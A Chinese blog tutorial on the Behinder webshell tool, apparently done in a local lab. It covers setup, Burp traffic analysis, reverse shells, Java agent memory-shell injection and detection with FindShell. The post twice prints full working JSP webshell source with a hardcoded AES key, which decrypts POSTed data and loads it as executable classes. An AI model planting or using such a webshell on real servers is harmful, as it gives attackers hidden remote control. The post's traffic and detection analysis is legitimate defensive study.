32_behinder(冰蝎)

原创 已于 2024-10-18 17:39:50 修改 · 3.1k 阅读 · 11 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#java #servlet #maven

于 2023-02-04 12:58:31 首次发布

behinder(冰蝎)

一、冰蝎的连接

先打开冰蝎,注意jdk版本,可能会影响
在这里插入图片描述
打开后界面如下
在这里插入图片描述
点击传输协议,生成shell.jsp
在这里插入图片描述
协议名称选择aes,里面有个key,需要用密码的md5值32位加密的前16位
我这里设置密码bihuo.cn,它的md5值32位加密的前16位为9da63beefb94c7d4

在这里插入图片描述
下面的加密解密可以测试一下,看是否正常
然后点击下方保存
在这里插入图片描述
保存之后,点击上方的生成服务端,会自动弹出shell.jsp存放的文件夹
里面就是生成的三种类型的内存马
在这里插入图片描述
复制shell.jsp里面的内容,粘贴到IDEA里面
在这里插入图片描述
然后启动运行tomcat服务器,访问shell.jsp在这里插入图片描述
之后就是冰蝎连接获取webshell
冰蝎连接方式有两种,一种是密码连接
在这里插入图片描述
另一种是自定义,使用default 配置下的用户名和密码
在这里插入图片描述

在这里插入图片描述
连接成功就是如下图的一些功能点界面
在这里插入图片描述

二、冰蝎的流量分析

用burp抓取流量包分析冰蝎的流量
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修改shell.jsp
让解密后的结果输出到txt文件中

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代码的注释，可避免response.getOutputstream报错信息，增加某些深度定制的Java web系统的兼容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/decode1.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>

在这里插入图片描述
在这里插入图片描述
开启调试,然后使用burp发包
就会看到,本地出现decode1.txt文件和decode2.txt文件

后缀改成.clss
然后使用jd-gui工具反编译成java文件
jd-gui工具打不开文件的话,随便找一个其它文件打开,也能查看反编译好的文件
在这里插入图片描述
然后就是复制到IDEA里面
在这里插入图片描述
在这里插入图片描述
接下里的调试,就是新增一个main函数
IDEA里面输入psvm,可以快捷增加main函数
在这里插入图片描述
在这里插入图片描述

右键调试main函数
然后进入equals方法里面

public static void main(String[] args) {
    Qiaftpx qiaftpx = new Qiaftpx();
    qiaftpx.equals(1);
}

在这里插入图片描述

public static void main(String[] args) {
    Fmulvhnsdr fmulvhnsdr = new Fmulvhnsdr();
    fmulvhnsdr.equals(1);
}

在这里插入图片描述
我这里可能哪里有问题,没有彻底调试完成,后续成功弄出来再编辑这里吧

最后结果,behinder 握手包 2个
(1) 只返回success状态码
(2) 返回 相关的基础信息 服务器版本 操作系统版本 os版本 phpinfo 系统环境变量等

三、冰蝎的基本功能

连接上冰蝎之后,自己点点看就行

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、冰蝎反弹shell

冰蝎支持三种形式的反弹shell,meterpreter、shell、cobalt strike
下面我只演示两个meterpreter、shell,cobalt strike还得部署一会,先pass
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、java agent内存马

1. 理解java agent

参考文章理解java agent
https://blog.csdn.net/qq_45927266/article/details/124540920
在这里插入图片描述

2. 使用java agent

冰蝎工具自带注入java agent内存马功能,右键注入内存马
在这里插入图片描述
我们修改代理,抓包分析下
在这里插入图片描述
在这里插入图片描述
点击注入内存马之后,注入类型选择agent,路径点击默认的,然后修改文件名
我这里写的bihuo15.jsp
在这里插入图片描述
我们可以看到有大量的请求包,我这里甚至的都没有放完
它这里实际上是通过截断成大量的请求包,最后拼接成内存马的代码
可能是防止被杀
在这里插入图片描述
直接放完包之后,冰蝎上面多了一个通过内存马的连接
后面的状态是方框的话,就代表是内存马
左下角显示注入完成
在这里插入图片描述
通过内存马点开连接之后,发现功能一样能使用
在这里插入图片描述
并且未在主机,也就是服务器上发现bihuo15.jsp文件,没有发现内存马代码
看来是注入到了内存中
在这里插入图片描述

3. 分析java agent

我们在shell.jsp的基础上加入一些代码
让它AES解密之后,将内容写入到agent.txt文件中
在这里插入图片描述

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代码的注释，可避免response.getOutputstream报错信息，增加某些深度定制的Java web系统的兼容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/agent.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>

然后开启调试,随便放一个流量包,就会发现多出agent.txt文件
在这里插入图片描述
将后缀改成.class
在这里插入图片描述
然后通过jd-gui反编译工具,将class文件反编译为java文件
有时候这个jd-gui工具无法打开文件,我们可以放一些其它的文件,例如我随便找的一个ArcTest.class文件,只要打开这个,agent.class也可以查看
在这里插入图片描述
在这里插入图片描述

4. 内存马查杀(findshell工具)

上面我们说到,内存马bihuo15.jsp文件并没有在服务器找到
那么我们需要借助内存马查杀的工具去检测内存马

https://github.com/geekmc/FindShell
在这里插入图片描述
打开工具
在这里插入图片描述
使用方法github也写着

在这里插入图片描述
在这里插入图片描述

先通过jps命令找到目标JVM的pid
然后使用这个工具,加上–pid 目标JVM的PID
还要加上–debug参数,才可以生成文件分析

可以看到有很多PID,如果我们不知道哪个是目标JVM的pid,那就一个一个试
看哪个生成了文件

或者停止服务器,再使用jps命令,对比发现少了哪个PID,快速判断目标JVM的PID
在这里插入图片描述
这里我都尝试过,这个Bootstarp就是目标JVM
成功生成out目录
在这里插入图片描述

使用IDEA打开out目录,里面就是java agent内存马
全部分析太麻烦

这里只需要找到两个东西

一个是java agent内存马绑定的访问路径
在这里插入图片描述
另一个是AES解密的key
在这里插入图片描述

5. 冰蝎 java agent防检测

注入java agent内存马的时候
下面有个防检测功能

我们重新注入一下,并且将out目录删除掉
在这里插入图片描述
在这里插入图片描述

然后我们再次使用findshell工具检测java agent内存马,发现还是生成了out目录
防检测功能未生效,这里可能是软件功能没制作好,或者可能是只能防止部分软件检测,而恰好findshell不能防

了解一下有这个功能点就行

在这里插入图片描述

网络安全工具冰蝎(behinder)3.0使用教程
SHELLCODE_8BIT的博客
09-13 3964
输入我们上传的地址，之后密码填写rebeyond。我的是java所以选择shell.jsp。将server中的文件上传。
打点神器behinder（冰蝎）使用教程-踩坑版
weixin_69925635的博客
05-29 1285
使用命令java -jar Behinder.jar启动后如果java版本过高会报错缺少javafx，但在高版本java环境下安装会有点麻烦，所以安装一个jdk1.8进行替换更好。lhost设置为kali的ip，端口9527，并将这些信息也填在刚刚behinder建立的连接中。点击给我连，msf中exploit该漏洞，可以看到成功反弹shell。在msf中有这个漏洞，因此可以利用msf和behinder联动。将该文件利用靶机dvwa文件上传的漏洞进行上传。在攻击机上安装kali，安装完成后如下图所示。
流量特征分析——蚁剑、菜刀、冰蝎、哥斯拉
Sgirll的博客
07-22 1万+
通过对这三种常见的网络攻击工具流量特征的分析，我们可以更好地了解它们在网络流量中的表现。同时，持续的学习和了解新兴攻击工具的流量特征也是保持网络安全的重要一环。哥斯拉的数据包中包含了特定的标记，如"XORHEAD"和"XORBODY"，用于标识该数据包是哥斯拉的控制命令。此外，哥斯拉还使用了一种自定义的二进制协议，在通信中传输各种类型的数据。本文将重点研究菜刀、蚁剑和冰蝎这三种常见的网络攻击工具，分析它们在流量中留下的痕迹和特征，以便网络管理员和安全专家能够更好地识别和对抗这些工具所带来的潜在威胁。
冰蝎4.1
最新发布
m0_74249600的博客
05-23 951
记录一次冰蝎4.1的使用
webshell管理工具-冰蝎(Behinder)的安装和基础使用(msf联动,流量特征)
wangluoanquan111的博客
02-26 2270
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端，由于通信流量被加密，传统的WAF、IDS 设备检测，给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密，且加密密钥是由随机数函数动态生成，因此该客户端的流量几乎无法检测。在流量层，冰蝎的aes特征一直是厂商查杀的重点，在主机层，aes相关的API也是一个强特征。既然是特征，那就一定存在一个一成不变的常量，那我们就把这个特征泛化一下，让他成为变量。为了一劳永逸解决这个问题，
冰蝎使用
热门推荐
bring_coco的博客
03-03 1万+
一．启动 Windows环境下： 1.配置环境：冰蝎只支持jre6-jre8 可以在电脑上查看java版本 命令：java -version 2.启动 在冰蝎目录下命令行输入 命令：java -jar Behinder_v3.0_Beta6_win.jar（这里文件名可简化） 即可开启 Linux环境下： 注意切换jdk版本6-8，对应javac版本也要和java版本相同，同理打开冰蝎目录输入命令 二．使用（在本机进行实测） 环境：phpStudy+冰蝎 通过启动phpStudy，访问本机地址 成功访
冰蝎简单使用
00勇士王子的博客
04-29 1万+
冰蝎介绍   Webshell管理工具，动态二进制加密网站客户端。流量动态加密，攻击特征安全设备（WAF、WebIDS）难以检测。   冰蝎通信过程中使用AES（高级加密算法，对称加密，微信小程序使用此种方法）进行加密，Java和.NET默认支持AES，php中需要开启openssl扩展，在V2.0版本后，php环境方式根据服务端支持情况动态选择，使得冰蝎更强大。 常规使用   因为是自己练习，所以直接用phpstudy在本地上传一个shell。   冰蝎安装目录下有官方自带的几个shell 我将shell
冰蝎V4.1Behinder
03-11
【冰蝎V4.1 Behinder】是一款知名的Webshell工具，主要用于网络安全测试和渗透测试领域。Webshell，也称为Web后门，是一种通过Web应用程序漏洞植入的恶意代码，允许远程控制服务器。冰蝎（Behinder）是这类工具的...
冰蝎Bhinder下载安装包
09-26
冰蝎（Bhinder）动态二进制加密网站管理客户端。基于JAVA，需要安装jre，可以跨平台使用。主要功能为：基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等。
Behinder3.0冰蝎\AntSword蚁剑
Lan-sir的学习之路
11-30 1222
bat启动 或者 Behinder_v3.0_Beta6_win.jar文件启动 java环境双击启动，或者cmd切换至所在文件，执行：java -jarBehinder_v3.0_Beta6_win.jar 蚁剑 直接启动 AntSword.exe 初始化环境选择antSword-master文件夹即可 然后重新启动 AntSword.exe ...
冰蝎v2.0.1.zip
05-19
冰蝎webshell连接工具，无毒无后门，可放心使用
冰蝎-v1.0-master.zip
07-16
冰蝎-v1.0-master.zip，冰蝎过狗无后门
强大的webshell管理工具——冰蝎
12-26
只有适合自己的工具，没有好坏之分，请免费拿走。
精简&明文免杀冰蝎php一句话.php
10-30
php一句话免杀绕过安全狗、D盾等WAF防护软件 可以轻松绕过 waf 的检测
冰蝎Behinder_v4.0
一醉一休的博客
10-13 1万+
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端，由于通信流量被加密，传统的WAF、IDS 设备难以检测，给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密，且加密密钥是由随机数函数动态生成，因此该客户端的流量几乎无法检测
冰蝎-Webshell管理工具
weixin_66717977的博客
06-30 1万+
冰蝎超详解，新手食用
冰蝎
世间繁华梦一出
03-04 3625
冰蝎什么是冰蝎？冰蝎的特点加密原理通信过程 什么是冰蝎？ “冰蝎”是一个动态二进制加密网站管理客户端。在实战中，第一代webshell管理工具"菜刀"的流量特征非常明显，很容易就被安全设备检测到。基于流量加密的webshell变得越来越多，"冰蝎"在此应运而生。 "冰蝎"客户端基于JAVA，所以可以跨平台使用，最新版本为v2.0.1，兼容性较之前的版本有较大提升。主要功能为：基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等，功能非常强大 冰蝎的特点 流量加密
Python代码中路径应该如何书写
09-08
在Python代码中，路径通常指的是文件系统中的文件或目录的路径。路径可以是相对路径，也可以是绝对路径。书写路径时，根据不同的操作系统，路径分隔符可能有所不同。 1. Windows系统中，路径使用反斜杠（`\`）作为分隔符，例如：`C:\Users\用户名\Documents\file.txt`。 2. Unix/Linux系统（包括Mac OS X）中，路径使用正斜杠（`/`）作为分隔符，例如：`/home/username/Documents/file.txt`。 在Python中，为了兼容不同操作系统，推荐使用`os.path.join`方法来构建路径，该方法会根据运行的操作系统自动选择正确的分隔符。此外，使用原始字符串（在字符串前加上前缀`r`）可以避免在Windows路径中的反斜杠被错误地解释为转义字符。 例如： ```python import os # 在Windows系统中使用原始字符串构建路径 path = r"C:\Users\username\Documents\file.txt" # 在Unix/Linux系统中使用原始字符串构建路径 path = r"/home/username/Documents/file.txt" # 使用os.path.join构建跨平台路径 path = os.path.join('/home', 'username', 'Documents', 'file.txt') # 或者 path = os.path.join('C:\\Users', 'username', 'Documents', 'file.txt') ``` 如果需要处理文件或目录的路径，Python提供了`os.path`模块，其中包含了很多路径操作的函数，如`os.path.abspath()`获取绝对路径，`os.path.dirname()`获取目录名，`os.path.basename()`获取文件名等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值